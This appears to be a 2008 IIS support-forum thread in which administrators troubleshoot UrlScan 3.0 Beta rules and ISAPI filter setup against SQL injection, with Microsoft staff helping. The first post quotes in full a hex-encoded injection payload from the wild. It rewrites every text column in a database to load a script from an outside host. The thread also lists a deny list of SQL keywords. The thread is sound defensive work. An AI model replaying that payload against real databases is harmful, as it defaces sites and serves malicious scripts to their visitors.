locked
UrlScan 3.0 Beta not capturing SQL Injection RRS feed

  • Question

  • User1500218128 posted

    I'm trying to combat a wave of SQL injection attacks on an IIS 6.0 server. I've installed UrlScan and setup a [SQL Injection] rule. I'm not receiving any rejections so I probably have something configured incorrectly. UrlScan is shown as a valid ISAPI filter within the IIS administrator for all sites on the server. I am seeing "The following rules are active: SQL Injection" in the UrlScan log. I do see a blocked entry if I attempt to connect to the site via localhost using ".com" in the address, so a portion of the UrlScan.ini seems to be working. Any ideas?

    Here is an example of an query string injection that is not being blocked:
    /details.asp ProductID=139;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E63616E636C76722E636F6D2F6E67672E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--


    Here is the UrlScan.ini content:

    [options]

    UseAllowVerbs=1                ; If 1, use [AllowVerbs] section, else use the
                                   ; [DenyVerbs] section.   The default is 1.

    UseAllowExtensions=0           ; If 1, use [AllowExtensions] section, else
                                   ; use the [DenyExtensions] section. The
                                   ; default is 0.

    NormalizeUrlBeforeScan=1       ; If 1, canonicalize URL before processing.
                                   ; The default is 1.  Note that setting this
                                   ; to 0 will make checks based on extensions,
                                   ; and the URL unreliable and is therefore not
                                   ; recommend other than for testing.

    VerifyNormalization=1          ; If 1, canonicalize URL twice and reject
                                   ; request if a change occurs.  The default
                                   ; is 1.

    AllowHighBitCharacters=0       ; If 1, allow high bit (ie. UTF8 or MBCS)
                                   ; characters in URL.  The default is 0.

    AllowDotInPath=0               ; If 1, allow dots that are not file
                                   ; extensions. The default is 0. Note that
                                   ; setting this property to 1 will make checks
                                   ; based on extensions unreliable and is
                                   ; therefore not recommended other than for
                                   ; testing.

    RemoveServerHeader=0           ; If 1, remove the 'Server' header from
                                   ; response.  The default is 0.

    EnableLogging=1                ; If 1, log UrlScan activity.  The
                                   ; default is 1.  Changes to this property
                                   ; will not take effect until UrlScan is
                                   ; restarted.

    PerProcessLogging=0            ; This property is deprecated for UrlScan
                                   ; 3.0.  UrlScan 3.0 can safely log output
                                   ; from multiple processes to the same log
                                   ; file.  Changes to this property will not
                                   ; take effect until UrlScan is restarted.

    AllowLateScanning=0            ; If 1, then UrlScan will load as a low
                                   ; priority filter.  The default is 0.  Note
                                   ; that this setting should only be used in
                                   ; the case where there another installed
                                   ; filter is modifying the URL and you wish
                                   ; to have UrlScan apply its rules to the
                                   ; rewritten URL.  Changes to this property
                                   ; will not take effect until UrlScan is
                                   ; restarted.

    PerDayLogging=1                ; If 1, UrlScan will produce a new log each
                                   ; day with activity in the form
                                   ; 'UrlScan.010101.log'. If 0, UrlScan will
                                   ; log activity to urlscan.log.  The default
                                   ; is 1.  Changes to this setting will not
                                   ; take effect until UrlScan is restarted.

    UseFastPathReject=0            ; If 1, then UrlScan will not use the
                                   ; RejectResponseUrl or allow IIS to log the
                                   ; request.  UrlScan will continue to write its
                                   ; own log as normal.  The default is 0.

    LogLongUrls=0                  ; This property is deprecated for UrlScan 3.0.
                                   ; UrlScan 3.0 will always include the complete
                                   ; URL in its log file.

    UnescapeQueryString=1          ; If 1, UrlScan will perform two passes on
                                   ; each query string scan, once with the raw
                                   ; query string and once after unescaping it.
                                   ; If 0, UrlScan will only look at the raw
                                   ; query string as sent by the client.  The
                                   ; default is 1. Note that if this property is
                                   ; set to 0, then checks based on the query
                                   ; string will be unreliable.

    ;
    ; If UseFastPathReject is 0, then UrlScan will send
    ; rejected requests to the URL specified by RejectResponseUrl.
    ; If not specified, '/Rejected-by-UrlScan' will be used.
    ; Changes to this setting will not take effect until UrlScan
    ; is restarted.
    ;

    RejectResponseUrl=

    ;
    ; LoggingDirectory can be used to specify the directory where the
    ; log file will be created.  This value should be the absolute path
    ; (ie. c:\some\path).  If not specified, then UrlScan will create
    ; the log in the same directory where the UrlScan.dll file is located.
    ; Changes to this setting will not take effect until UrlScan is
    ; restarted.
    ;

    LoggingDirectory=Logs

    ;
    ; If RemoveServerHeader is 0, then AlternateServerName can be
    ; used to specify a replacement for IIS's built in 'Server' header
    ;

    AlternateServerName=

    ;
    ; UrlScan supports custom rules that can be applied in addition to the other
    ; checks and options specified in this configuration file.  Rules should be
    ; listed in a comma separated string in the RuleList property.  Each rule in
    ; the list corresponds to two sections in this configuration file, one
    ; containing the options for the rule, and one containing deny strings for
    ; the rule.
    ;
    ; Here is an example:
    ;
    ;   [Options]
    ;   RuleList=Rule1
    ;
    ;   [Rule1]
    ;   AppliesTo=.exe,.dll        ; A comma separated list of file extensions to
    ;                              ; which the rule applies.  If not specified,
    ;                              ; the rule will be applied to all requests.
    ;
    ;   DenyDataSection=Rule1 Data ; The name of the section containing the
    ;                              ; rule's deny strings
    ;
    ;   ScanURL=0                  ; If 1, the URL will be scanned for deny
    ;                              ; strings. The default is 0.
    ;
    ;   ScanAllRaw=0               ; If 1, then the raw request header data will
    ;                              ; be scanned for deny strings.  The default
    ;                              ; is 0.
    ;
    ;   ScanQueryString=0          ; If 1, the the query string will be scanned
    ;                              ; for deny strings.  The default is 0.  Note
    ;                              ; that if UnescapeQueryString=1 is set in the
    ;                              ; [Options] section, then two scans will be
    ;                              ; made of the query string, one with the raw
    ;                              ; query string and one with the query string
    ;                              ; unescaped.
    ;
    ;   ScanHeaders=               ; A comma separated list of request headers to
    ;                              ; be scanned for deny strings.  The default is
    ;                              ; no headers.
    ;
    ;   [Rule1 data]
    ;   string1
    ;   string2
    ;

    RuleList=SQL Injection

    [RequestLimits]

    ;
    ; The entries in this section impose limits on the length
    ; of allowed parts of requests reaching the server.
    ;
    ; It is possible to impose a limit on the length of the
    ; value of a specific request header by prepending "Max-" to the
    ; name of the header.  For example, the following entry would
    ; impose a limit of 100 bytes to the value of the
    ; 'Content-Type' header:
    ;
    ;   Max-Content-Type=100
    ;
    ; To list a header and not specify a maximum value, use 0
    ; (ie. 'Max-User-Agent=0').  Also, any headers not listed
    ; in this section will not be checked for length limits.
    ;
    ; There are 3 special case limits:
    ;
    ;   - MaxAllowedContentLength specifies the maximum allowed
    ;     numeric value of the Content-Length request header.  For
    ;     example, setting this to 1000 would cause any request
    ;     with a content length that exceeds 1000 to be rejected.
    ;     The default is 30000000.
    ;
    ;   - MaxUrl specifies the maximum length of the request URL,
    ;     not including the query string. The default is 260 (which
    ;     is equivalent to MAX_PATH).
    ;
    ;   - MaxQueryString specifies the maximum length of the query
    ;     string.  The default is 2048.
    ;

    MaxAllowedContentLength=30000000
    MaxUrl=260
    MaxQueryString=2;048

    [AllowVerbs]

    ;
    ; The verbs (aka HTTP methods) listed here are those commonly
    ; processed by a typical IIS server.
    ;
    ; Note that these entries are effective if "UseAllowVerbs=1"
    ; is set in the [Options] section above.
    ;

    GET
    HEAD
    POST

    [DenyVerbs]

    ;
    ; The verbs (aka HTTP methods) listed here are used for publishing
    ; content to an IIS server via WebDAV.
    ;
    ; Note that these entries are effective if "UseAllowVerbs=0"
    ; is set in the [Options] section above.
    ;

    PROPFIND
    PROPPATCH
    MKCOL
    DELETE
    PUT
    COPY
    MOVE
    LOCK
    UNLOCK
    OPTIONS
    SEARCH

    [DenyHeaders]

    ;
    ; The following request headers alter processing of a
    ; request by causing the server to process the request
    ; as if it were intended to be a WebDAV request, instead
    ; of a request to retrieve a resource.
    ;

    Translate:
    If:
    Lock-Token:
    Transfer-Encoding:

    [AllowExtensions]

    ;
    ; Extensions listed here are commonly used on a typical IIS server.
    ;
    ; Note that these entries are effective if "UseAllowExtensions=1"
    ; is set in the [Options] section above.
    ;

    .htm
    .html
    .txt
    .jpg
    .jpeg
    .gif

    [DenyExtensions]

    ;
    ; Extensions listed here either run code directly on the server,
    ; are processed as scripts, or are static files that are
    ; generally not intended to be served out.
    ;
    ; Note that these entries are effective if "UseAllowExtensions=0"
    ; is set in the [Options] section above.
    ;
    ; Also note that ASP scripts are denied with the below
    ; settings.  If you wish to enable ASP, remove the
    ; following extensions from this list:
    ;    .asp
    ;    .cer
    ;    .cdx
    ;    .asa
    ;

    ; Deny executables that could run on the server
    .exe
    .bat
    .cmd
    .com

    ; Deny infrequently used scripts
    .htw     ; Maps to webhits.dll, part of Index Server
    .ida     ; Maps to idq.dll, part of Index Server
    .idq     ; Maps to idq.dll, part of Index Server
    .htr     ; Maps to ism.dll, a legacy administrative tool
    .idc     ; Maps to httpodbc.dll, a legacy database access tool
    .shtm    ; Maps to ssinc.dll, for Server Side Includes
    .shtml   ; Maps to ssinc.dll, for Server Side Includes
    .stm     ; Maps to ssinc.dll, for Server Side Includes
    .printer ; Maps to msw3prt.dll, for Internet Printing Services

    ; Deny various static files
    .ini     ; Configuration files
    .log     ; Log files
    .pol     ; Policy files
    .dat     ; Configuration files
    .config  ; Configuration files

    [DenyUrlSequences]
    ;
    ; If any character sequences listed here appear in the URL for
    ; any request, that request will be rejected.
    ;

    ..  ; Don't allow directory traversals
    ./  ; Don't allow trailing dot on a directory name
    \   ; Don't allow backslashes in URL
    :   ; Don't allow alternate stream access
    %   ; Don't allow escaping after normalization
    &   ; Don't allow multiple CGI processes to run on a single request

    [DenyQueryStringSequences]
    ;
    ; If any character sequences listed here appear in the query
    ; string for any request, that request will be rejected.
    ;

    <   ; Commonly used by script injection attacks
    >   ; Commonly used by script injection attacks

    [SQL Injection]
    AppliesTo=.asp,.aspx
    DenyDataSection=SQL Injection Strings
    ScanUrl=0
    ScanAllRaw=0
    ScanQueryString=1
    ScanHeaders=

    [SQL Injection Strings]
    --
    %3b ; a semicolon
    /*
    @ ; also catches @@
    char ; also catches nchar and varchar
    alter
    begin
    cast
    convert
    create
    cursor
    declare
    delete
    drop
    end
    exec ; also catches execute
    fetch
    insert
    kill
    open
    select
    sys ; also catches sysobjects and syscolumns
    table
    update

     

    Thursday, July 3, 2008 1:41 PM

Answers

  • User-2064283741 posted

    I actually might have the same thing.

    I installed URLscanner on IIS6 last night finally and I too was getting the same problem. basically it blocked nothing. Similiar ini to yours which IMHO looks ok. 

    All the urlscan logs say the rules are all ok. Even the explict rules that are described in the ini and in the logs like like <> in the query string gets through.

    Does yours block anything?

    I thought I must have done something wrong but late last night I could not see what. It is not very reassuring that the logs say they are running rules but nothing gets blocked (well I am just logging atm but nothing is logged). Either the logs should say it is not working or they should block stuff.

    How can a case occur when URLscan own logs think it is all running ok but nothing gets blocked. I even reinstalled URLscan jsut incase too.

    I need to look at this further. Wade any ideas?

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Thursday, July 3, 2008 1:55 PM
  • User1073881637 posted

    1) Try putting double quotes around the RuleList.  That should matter, but worth a shot.

    2) Can you post your log file after it loads

    3) Look in either the website level or machine level isapi-filter loaded.

    4) Enable auditing and see if there is a file / folder permission level.  Filemon / process monitor can help.

    http://weblogs.asp.net/steveschofield/archive/2008/03/07/detecting-permission-issues-using-auditing-and-process-monitor.aspx

    Hope that helps.

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Thursday, July 3, 2008 10:50 PM

All replies

  • User-2064283741 posted

    I actually might have the same thing.

    I installed URLscanner on IIS6 last night finally and I too was getting the same problem. basically it blocked nothing. Similiar ini to yours which IMHO looks ok. 

    All the urlscan logs say the rules are all ok. Even the explict rules that are described in the ini and in the logs like like <> in the query string gets through.

    Does yours block anything?

    I thought I must have done something wrong but late last night I could not see what. It is not very reassuring that the logs say they are running rules but nothing gets blocked (well I am just logging atm but nothing is logged). Either the logs should say it is not working or they should block stuff.

    How can a case occur when URLscan own logs think it is all running ok but nothing gets blocked. I even reinstalled URLscan jsut incase too.

    I need to look at this further. Wade any ideas?

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Thursday, July 3, 2008 1:55 PM
  • User-2064283741 posted

    Mine appears to be working now. I am sure it took a while (hours) to kick in.  I need to check in more detail and never enough time in the day.

    Thursday, July 3, 2008 3:55 PM
  • User1500218128 posted

    The only thing I can get it to block is from the local server.

    http://localhost/mysite.com

    blocks with the following UrlScan log entry:

    Client at 127.0.0.1: URL contains extension '.com', which is disallowed. Request will be rejected.  Site Instance='1', Raw URL='/mysite.com'

    Thursday, July 3, 2008 4:12 PM
  • User-2064283741 posted

     Have you restarted IIS?

    Thursday, July 3, 2008 6:38 PM
  • User1500218128 posted

    I restarted IIS after making configuration changes and then restarted the entire server. No difference.

    Thursday, July 3, 2008 6:44 PM
  • User1073881637 posted

    1) Try putting double quotes around the RuleList.  That should matter, but worth a shot.

    2) Can you post your log file after it loads

    3) Look in either the website level or machine level isapi-filter loaded.

    4) Enable auditing and see if there is a file / folder permission level.  Filemon / process monitor can help.

    http://weblogs.asp.net/steveschofield/archive/2008/03/07/detecting-permission-issues-using-auditing-and-process-monitor.aspx

    Hope that helps.

    • Marked as answer by Anonymous Tuesday, September 28, 2021 12:00 AM
    Thursday, July 3, 2008 10:50 PM
  • User1500218128 posted

    Thanks for the tips. I believe it's working now.

    I ended up having to add the ISAPI filter at the website level. I also have it at the "All Web Sites" level, but that only works for the default site. Once I added the UrlScan ISAPI filter to the sites I'm trying to protect and restarted IIS, the injections are being blocked.

    Friday, July 4, 2008 1:49 PM
  • User-119923882 posted

    Hi Mike,

    I would like to understand what happened here.

    What version of IIS?

    Are you saying that the installer for UrlScan resulted in behavior where it only applied to the default web site?

    Is there anything else you can suggest so that we can reproduce this here?

    Thanks,
    -Wade

    Thursday, July 10, 2008 12:37 PM
  • User1500218128 posted

     Hi Wade,

    The problem occurred on Windows Server 2003, IIS 6.0. The initial install of UrlScan successfully added the ISAPI filter as indicated in the "Web Sites" section of IIS Manager. No filters were shown at the individual site level (correct configuration). This only allowed scanning to occur on the default site.

    On each individual site I added the ISAPI filter from the ISAPI tab in IIS Manager by browsing to the urlscan.dll location. At the site level, the ISAPI Status does not show up or down, the Filter Name listed is "URLScan" and the Priority is shown as *Unknown*, but it now filters those sites.

    The default site is under "all unassigned" IP's and the individual sites are each under different IP's - maybe that's a clue. Other than that, it's a vanilla asp installation.

    Mike

    Friday, July 11, 2008 5:59 PM
  • User-119923882 posted

    Thanks for the additional information.  Unfortunately, we cannot reproduce the problem here.

    I have ensured that your scenario is added to our test suites for UrlScan so that it is something we explicitly look at.

    Thanks,
    -Wade

    Monday, July 14, 2008 5:59 PM
  • User-1703606341 posted

     Same situation here. At the global level it was not picking up things. I am applying it at the site level and will see what happens.

     

    System is a VPS with windows 2003 x64.

    Tuesday, July 15, 2008 10:31 AM
  • User-119923882 posted

    I would like to understand why this is happening.

    Can you please send me your metabase.xml file, your urlscan.ini file, and a urlscan.log file that shows startup?

    Also, can you please search your system drive and see if you have multiple copies of urlscan.ini?

    My direct email address is wadeh@microsoft.com.

    Thanks,
    -Wade

    Tuesday, July 15, 2008 10:40 AM
  • User-1703606341 posted

     I have replied with the requested files by email. thanks.

    Tuesday, July 15, 2008 11:02 AM
  • User-1703606341 posted

     I am still passing some info back and forth with wadehbut I found that maxquerystring works globally ok and with my application a limit of a 1000 characters is sufficeint to fend off the current lot of script kiddies. Gives me time to look at the code a bit more :)

    Wednesday, July 16, 2008 10:02 AM
  • User-2064283741 posted

     ?So some of URLscan is/was working fine? It was just certain rules/etc that it was not picking up?

    Wednesday, July 16, 2008 10:06 AM
  • User-119923882 posted

    I believe that this is a logging issue.

    I can't see any code path in IIS where a global filter does not apply to all sites.  Also, UrlScan has no idea whether it's installed locally or globally.  There are not code paths in it that could result in a subset of the rules working on one site but not another.

    I have identified a case where only one site can write to the log and others are blocked out.  Specifically, this happens when the UrlScan log is written to a directory with the default ACLs inherited from the root of the drive.  The way that these ACLs are set up is that when someone creates a file in a subdirectory that inherits from root, the user that creates it is granted full access because they are the creator/owner.  The ACE that allows all users to write is specifically not inherited from the root (because that right is passed down to folders only, but not files.)  So if you have multiple app pools running as different users, the app pool that creates the log can write, but other app pools cannot.  Note that the UrlScan installer sets a specific ACL on the 'logs' directory that does not have this issue, so you should only see this when you log to some other directory that has the default ACLs.

    Also, there are quite a few other bugs in the logging code that could be misleading.  I am completely rewriting that code (today, in fact.)  Among other things, I am converting it to W3C format to make it parser friendly.

    Thanks,
    -Wade

    Wednesday, July 16, 2008 10:42 AM
  • User1073881637 posted

    Among other things, I am converting it to W3C format to make it parser friendly.

    Sweet!!!

    Thursday, July 17, 2008 12:37 AM
  • User1091515789 posted

    I've given proper ACL's to my logging directory but it still doesn't log. My website IIS6 W2K3 x64 is running under a custom local account (in IIS_WPG group) needs to be in the Administrator role in order for UrlScan 3 beta to work. When I remove from Administrator group it stops working.

    I've tried playing around with permissions in secpol.msc without success. Any ideas what security settings are needed for UrlScan to work properly in a custom account running the application pool for the website (besides IIS_WPG)?

    Monday, August 11, 2008 1:28 AM
  • User-2064283741 posted
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 11"><meta name="Originator" content="Microsoft Word 11"><link href="file:///C:%5CDOCUME%7E1%5CBAKERJ8%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" mce_href="file:///C:%5CDOCUME%7E1%5CBAKERJ8%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml" rel="File-List"><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning/> <w:ValidateAgainstSchemas/> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables/> <w:SnapToGridInCell/> <w:WrapTextWithPunct/> <w:UseAsianBreakRules/> <w:DontGrowAutofit/> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> </w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" LatentStyleCount="156"> </w:LatentStyles> </xml><![endif]--><style> <!-- /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} p {mso-margin-top-alt:auto; margin-right:0cm; mso-margin-bottom-alt:auto; margin-left:0cm; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} @page Section1 {size:612.0pt 792.0pt; margin:72.0pt 90.0pt 72.0pt 90.0pt; mso-header-margin:36.0pt; mso-footer-margin:36.0pt; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman"; mso-ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} </style> <![endif]-->

    Yeah mine doesn't log either. I thought it did but it doesn't log the rules just the other stuff like length and non- rule related restrictions. To be honest I have given up testing it now because as there is no logging I have no confidence it is even working it is impossible for the much need tweaking of the rules to get a decent solution.

    Probably works fine in IIS 7 but most people do not have IIS 7. <o:p></o:p>

    Monday, August 11, 2008 6:02 AM
  • User-119923882 posted

    Can you please go to your logging directory and run "cacls ." at a command prompt and post the results?

    The output should look something like this:

    WADEH-2003\IIS_WPG:(OI)(CI)(special access:)
                               READ_CONTROL
                               SYNCHRONIZE
                               FILE_GENERIC_READ
                               FILE_GENERIC_WRITE
                               FILE_READ_DATA
                               FILE_WRITE_DATA
                               FILE_APPEND_DATA
                               FILE_READ_EA
                               FILE_WRITE_EA
                               FILE_READ_ATTRIBUTES
                               FILE_WRITE_ATTRIBUTES

    BUILTIN\Users:R
    BUILTIN\Users:(OI)(CI)(IO)(special access:)
                              GENERIC_READ
                              GENERIC_EXECUTE

    BUILTIN\Power Users:C
    BUILTIN\Power Users:(OI)(CI)(IO)C
    BUILTIN\Administrators:F
    BUILTIN\Administrators:(OI)(CI)(IO)F
    NT AUTHORITY\SYSTEM:F
    NT AUTHORITY\SYSTEM:(OI)(CI)(IO)F
    CREATOR OWNER:(OI)(CI)(IO)F

    The key thing here on my machine is that the IIS_WPG group has the correct write permissions to be able to create and write to files.  In a case with multiple application pools running under different identities where you want to prevent them from being able to access each others' log files, you could use the actual worker process identity instead of IIS_WPG.

    Thanks,
    -Wade

    Tuesday, August 12, 2008 6:33 PM
  • User-119923882 posted

    Rovastar,

    Your feedback on this project has been quite valuable to us.  Please don't give up.

    I've yet to be able to reproduce a case where some, but not all, entries are logged.  And in reviewing the code a number of times, it just doesn't look possible that this could happen unless there's a root cause that's not obvious from the symptom.

    Can you please contact me directly at wadeh@microsoft.com to see if we can get to the bottom of it?

    Thanks,
    -Wade

    Tuesday, August 12, 2008 6:36 PM
  • User1073881637 posted

    My server got hit hard on 8/8 and I don't see any logs in urlscan logs.  I see several entries in the WWW logs showing the sql injection.  My server is w2k8 web edition, 32 bit.  Rovastar is that what you are seeing?

    Tuesday, August 12, 2008 7:12 PM
  • User-2064283741 posted

    My server got hit hard on 8/8 and I don't see any logs in urlscan logs.  I see several entries in the WWW logs showing the sql injection.  My server is w2k8 web edition, 32 bit.  Rovastar is that what you are seeing?

     

    Running w2003/iis6 32bit shared server 500+ production sites for this test case. Just running in logging only mode atm and the correct rules are running.

    Yeah rules (our own rules for SQL injection, etc) don't seem to be blocked. The other generals do seem to be so a long query string is blocked. Initially I blocked query string over say 200 and by doing so that all the SQL injection attacks were stopped. I presuemd it looked at the length check first before processing the user defined rules. Does it work this way?

    But now I changed that query string length to 2000 to work on more detailed SQL injection rules like I had been discussing with Nazim in his blogs. And noticed that things that the rules should block were not. Other things were like .. in the URI stem were being logged/blocked.

    I'll do a detailed report soon.

    Wednesday, August 13, 2008 6:33 AM
  • User-2064283741 posted

    Rovastar,

    Your feedback on this project has been quite valuable to us.  Please don't give up.

    I've yet to be able to reproduce a case where some, but not all, entries are logged.  And in reviewing the code a number of times, it just doesn't look possible that this could happen unless there's a root cause that's not obvious from the symptom.

    Can you please contact me directly at wadeh@microsoft.com to see if we can get to the bottom of it?

    Thanks,
    -Wade

     

    I will drop you an email Wade. I'll see if I can get a look at this later this evening.

    Wednesday, August 13, 2008 6:33 AM
  • User-1703606341 posted

     

    Yeah rules (our own rules for SQL injection, etc) don't seem to be blocked. The other generals do seem to be so a long query string is blocked. Initially I blocked query string over say 200 and by doing so that all the SQL injection attacks were stopped. I presuemd it looked at the length check first before processing the user defined rules. Does it work this way?

    But now I changed that query string length to 2000 to work on more detailed SQL injection rules like I had been discussing with Nazim in his blogs. And noticed that things that the rules should block were not. Other things were like .. in the URI stem were being logged/blocked.

     This is my exoereince as well. I have looked at our webaoo and restricted according to querystring length. But while this works, any other rules like the SQL injection rules do not.

    The  lack of logging is a pain, but irrespective the rules do not seem to be getting applied.

    Wednesday, August 13, 2008 6:40 AM
  • User-119923882 posted

    I would really like to get to the bottom of these cases where the rules are not getting applied.

    If anyone has any reason to believe that they have rules in the urlscan.ini that are not being applied or logged correctly, please send the urlscan.ini file to me at wadeh@microsoft.com.

    Thanks,
    -Wade

    Wednesday, August 13, 2008 11:03 AM
  • User-681501358 posted

    Hi guys,I set up URLScan 3.0 beta on windows 2003 with IIS6.

    1. Set the read/write permission for IIS_WPG  on urlscan logs folder.

    2 Set ISAPI for the the specific wep app. 

    3. Modified urlcan.ini for SQL injection

    4. restart IIS 

    Then I try to access the web app as: 

    http://myserver/mysite/index.html?a=bn&id=1%27;DECLARE%20@S%20CHAR(4000);/mysite.com

    Then I checked urlscan log file, nothing recorded in the log file.

    Help please.


    Wednesday, August 13, 2008 1:09 PM
  • User-119923882 posted

    Did you get a 404 back on the request?

    Is there an entry in the w3svc log that shows the request was rejected by UrlScan?

    Did UrlScan even create a log file?  If so, what was in it?

    If you can send me the urlscan.ini, and log file that was created, the corresponding w3svc log, and the output from doing "cacls ." in the logging directory, I would like to take a look.

    My direct email address is wadeh@microsoft.com.

    Thanks,
    -Wade

    Wednesday, August 13, 2008 1:16 PM
  • User-681501358 posted

     There is no 404 error in W3C log file.

    When restart IIS or modified urlscan.ini file, info will be added to urlscan.ini file.The urlscan.log file content as below:

    [08-13-2008 - 13:34:46] ----- UrlScan v3.0 Beta Config Initialization ----
    [08-13-2008 - 13:34:46] The following verbs will be allowed: GET, HEAD, POST
    [08-13-2008 - 13:34:46] The following extensions will not be allowed: .exe, .bat, .cmd, .com, .htw, .ida, .idq, .htr, .idc, .shtm, .shtml, .stm, .printer, .ini, .log, .pol, .dat, .config
    [08-13-2008 - 13:34:46] The following URL sequences will be denied: .., ./, \, :, %%
    [08-13-2008 - 13:34:46] The following Query String sequences will be denied: %%3C, %%3E
    [08-13-2008 - 13:34:46] The following rules are active: SQL Injection
    [08-13-2008 - 13:35:09] ----- UrlScan v3.0 Beta Config Initialization ----
    [08-13-2008 - 13:35:09] The following verbs will be allowed: GET, HEAD, POST
    [08-13-2008 - 13:35:09] The following extensions will not be allowed: .exe, .bat, .cmd, .com, .htw, .ida, .idq, .htr, .idc, .shtm, .shtml, .stm, .printer, .ini, .log, .pol, .dat, .config
    [08-13-2008 - 13:35:09] The following URL sequences will be denied: .., ./, \, :, %%
    [08-13-2008 - 13:35:09] The following Query String sequences will be denied: %%3C, %%3E
    [08-13-2008 - 13:35:09] The following rules are active: SQL Injection
    [08-13-2008 - 13:50:19] ----- UrlScan v3.0 Beta Config Initialization ----
    [08-13-2008 - 13:50:19] The following verbs will be allowed: GET, HEAD, POST
    [08-13-2008 - 13:50:19] The following extensions will not be allowed: .exe, .bat, .cmd, .com, .htw, .ida, .idq, .htr, .idc, .shtm, .shtml, .stm, .printer, .ini, .log, .pol, .dat, .config
    [08-13-2008 - 13:50:19] The following URL sequences will be denied: .., ./, \, :, %%
    [08-13-2008 - 13:50:19] The following Query String sequences will be denied: %%3C, %%3E
    [08-13-2008 - 13:50:19] The following rules are active: SQL Injection
    [08-13-2008 - 13:50:54] ----- UrlScan v3.0 Beta Config Initialization ----
    [08-13-2008 - 13:50:54] The following verbs will be allowed: GET, HEAD, POST
    [08-13-2008 - 13:50:54] The following extensions will not be allowed: .exe, .bat, .cmd, .com, .htw, .ida, .idq, .htr, .idc, .shtm, .shtml, .stm, .printer, .ini, .log, .pol, .dat, .config
    [08-13-2008 - 13:50:54] The following URL sequences will be denied: .., ./, \, :, %%
    [08-13-2008 - 13:50:54] The following Query String sequences will be denied: %%3C, %%3E
    [08-13-2008 - 13:50:54] The following rules are active: SQL Injection

    And the result from cmd cacls .  is:


    IIS_WPG:(OI)(CI)(special access:)
    READ_CONTROL
    SYNCHRONIZE
    FILE_GENERIC_READ
    FILE_GENERIC_WRITE
    FILE_READ_DATA

    FILE_WRITE_DATA
    FILE_APPEND_DATA
    FILE_READ_EA
    FILE_WRITE_EA
    FILE_READ_ATTRIBUTES
    FILE_WRITE_ATTRIBUTES
    BUILTIN\Users:RBUILTIN\Users:(OI)(CI)(IO)(special access:)
     GENERIC_READ
     GENERIC_EXECUTE

    BUILTIN\Power Users:C
    BUILTIN\Power Users:(OI)(CI)(IO)C
    BUILTIN\Administrators:F
    BUILTIN\Administrators:(OI)(CI)(IO)F
    NT AUTHORITY\SYSTEM:F
    NT AUTHORITY\SYSTEM:(OI)(CI)(IO)F
    CREATOR OWNER:(OI)(CI)(IO)F
     

    Wednesday, August 13, 2008 2:01 PM
  • User-119923882 posted

    The permissions on your logging directory look fine.

    Since there are no 404s in the w3svc file and no entries in the urlscan.log file, it seems clear that UrlScan has not rejected any requests.

    If you can send me your urlscan.ini file, I can take a look at it.

    Thanks,
    -Wade

    Wednesday, August 13, 2008 2:51 PM
  • User-681501358 posted

    Hi Wade, Thank you very much for review. I fixed the issue. It's because ISAPI was set for 2 web app on same IIS instance.

    Now I have question for urlscan.ini:

    For url query string, I want to set it to filter out some key words maybe is bad, such as Delete, EXEC to avoid sql injection.  but it looks like that it must attach to specific file type.

    [SQL Injection]
    AppliesTo=.asp,.aspx  ; this means only apply to these two types file. My question is here
    DenyDataSection=SQL Injection Strings
    ScanUrl=0
    ScanAllRaw=0
    ScanQueryString=1
    ScanHeaders=

    but I do not want to the config connect to any file extension. it should be for all file even there is no file. For example, maybe there url like

    http://myserver/mysite/mypath?a=b;@S...

    the app will translate the url to one type of file. how to config for this case?

    Is it possible to put following rules to section [DenyQueryStringSequences]?

    --
    %3b ; a semicolon
    /*
    @ ; also catches @@
    char ; also catches nchar and varchar
    alter
    begin
    cast
    convert
    create
    cursor
    declare
    delete
    drop
    end
    exec ; also catches execute
    fetch
    insert
    kill
    open
    select
